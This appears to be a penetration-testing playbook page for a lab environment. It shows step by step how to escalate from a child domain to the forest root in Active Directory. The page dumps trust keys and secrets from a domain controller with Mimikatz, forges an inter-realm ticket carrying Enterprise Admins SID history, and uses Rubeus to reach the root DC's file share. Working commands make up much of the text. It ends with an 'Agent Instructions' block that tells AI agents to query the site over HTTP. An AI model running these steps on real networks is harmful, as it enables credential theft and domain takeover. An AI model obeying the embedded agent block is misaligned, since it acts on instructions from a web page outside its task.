# Using Trust Tickets

### Child to Parent using Trust Tickets

We will extract the trust key, and then forge an inter-realm TGT where we inject a SID History of Enterprise Admin.&#x20;

1. To extract trust tickets, look for \[In] trust key from child to parent.

{% code overflow="wrap" %}

```
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dcorp-dc
```

{% endcode %}

OR run DCSync to extract&#x20;

{% code overflow="wrap" %}

```
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\mcorp$"'
```

{% endcode %}

OR extract all the secrets from DC

{% code overflow="wrap" %}

```
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
```

{% endcode %}

2. Now, we can forge the inter-realm TGT using the trust key obtained.\
   **Note:** Unless, explicitly specified, across trusts (within or across forests), AES is not supported. RC4 is supported.

{% code overflow="wrap" %}

```
C:\AD\Tools\BetterSafetyKatz.exe "kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-719815819-3726368948-3917688648 /sids:S-1-5-21-335606122-960912869-3279953914-519 /rc4:e9ab2e57f6397c19b62476e98e9521ac /service:krbtgt /target:moneycorp.local /ticket:C:\AD\Tools\trust_tkt.kirbi" "exit"
```

{% endcode %}

| Option           | Description                                                               |
| ---------------- | ------------------------------------------------------------------------- |
| Kerberos::golden | The mimikatz module                                                       |
| /domain          | FQDN of the current domain                                                |
| /sid             | SID of the current domain                                                 |
| /sids            | SID of the enterprise admins group of the parent domain                   |
| /rc4             | RC4 of the trust key                                                      |
| /user            | User to impersonate                                                       |
| /service         | Target service in the parent domain                                       |
| /target          | FQDN of the parent domain                                                 |
| /ticket          | Path where the ticket is to be saved (e.g., C:\AD\Tools\trust\_tkt.kirbi) |

3. Now we can request a TGS from parent DC to access a service (CIFS) on DC on the parent root DC.

{% code overflow="wrap" %}

```
Rubeus.exe asktgs /ticket:C:\AD\Tools\kekeo_old\trust_tkt.kirbi /service:cifs/mcorp-dc.moneycorp.local /dc:mcorp-dc.moneycorp.local /ptt
```

{% endcode %}

4. We can now access forest root DC.

{% code overflow="wrap" %}

```
ls \\mcorp-dc.moneycorp.local\c$
```

{% endcode %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://playbook.sidthoviti.com/active-directory-pentest/domain-privilege-escalation/across-trusts/child-to-parent-cross-domain/using-trust-tickets.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
